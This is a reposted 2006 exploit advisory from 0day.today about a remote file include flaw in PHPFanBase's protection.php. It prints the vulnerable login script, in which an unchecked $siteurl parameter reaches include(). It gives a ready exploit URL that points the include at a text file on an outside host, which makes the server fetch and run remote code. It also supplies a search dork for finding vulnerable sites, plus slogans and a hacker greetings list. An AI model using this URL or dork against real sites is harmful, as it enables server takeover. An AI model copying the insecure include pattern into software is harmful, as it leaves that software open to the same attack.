Lucene search

K

PHPFanBase 2.x (protection.php) Remote File Include Vulnerability

πŸ—“οΈΒ 19 Dec 2006Β 00:00:00Reported byΒ Cold ZeroTypeΒ 
zdt
Β zdt
πŸ”—Β 0day.todayπŸ‘Β 61Β Views

PHPFanBase 2.x (protection.php) Remote File Include Vulnerability, Found By CoLd Zer

Show more
Code
=================================================================
PHPFanBase 2.x (protection.php) Remote File Include Vulnerability
=================================================================




--------------------------------------||    Viva Palestine     ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


PHPFanBase (protection.php) Remote File Include Vulnerability

Found By  :  CoLd Zero  [ Wasem898 ]

######################################################
#
#            PHPFanBase ]All[
#
# Class:     Remote File Include Vulnerability
# Published  2006-12-19
# Remote:    Yes
# Type:      Dangerous
# Site:      http://codegrrl.com/!/scripts/
#
# Author:    Cold Zero
# Dork: Powered By PHPFanBase
######################################################

File :

/protection.php

===========================

<?


$user_passwords = array (

       "$admin_username" => "$admin_password"  );

// This is the page to show when the user has been logged out
$logout_page = "$siteurl";

// Page with login form
$login_page = "login.php";

// Page to show if the user enters an invalid login name or password
$invalidlogin_page = "invalidlogin.php";


//DON'T EDIT ANYTHING BELOW THIS!!!

if ($action == "logout")
{
       Setcookie("logincookie[pwd]","",time() -86400);
       Setcookie("logincookie[user]","",time() - 86400);
       include($logout_page);
       exit;
}
else if ($action == "login")
{
       if (($loginname == "") || ($password == ""))
       {
               include($invalidlogin_page);
               exit;
       }
       else if (strcmp($user_passwords[$loginname],$password) == 0)
       {
               Setcookie("logincookie[pwd]",$password,time() + 86400);
               Setcookie("logincookie[user]",$loginname,time() + 86400);
       }
       else
       {
               include($invalidlogin_page);
               exit;
       }
}
else
{
       if (($logincookie[pwd] == "") || ($logincookie[user] == ""))
       {
               include($login_page);
               exit;
       }
       else if
(strcmp($user_passwords[$logincookie[user]],$logincookie[pwd]) =
= 0)
       {
               Setcookie("logincookie[pwd]",$logincookie[pwd],time() +
86400);
               Setcookie("logincookie[user]",$logincookie[user],time() +
86400)
;
       }
       else
       {
               include($invalidlogin_page);
               exit;
       }
}


===========================

Exploit :

Http://www.Victem.0/[PaTH]/protection.php?action=logout&siteurl=http://4azhar.com/soft.txt?


======================================================

----  GreeTz: [MoHaNdKo]  [Cold One]  [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [[emailΒ protected]] [Snake12][Root Shell]
             [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[  Everyone I know




#  0day.today [2018-03-19]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo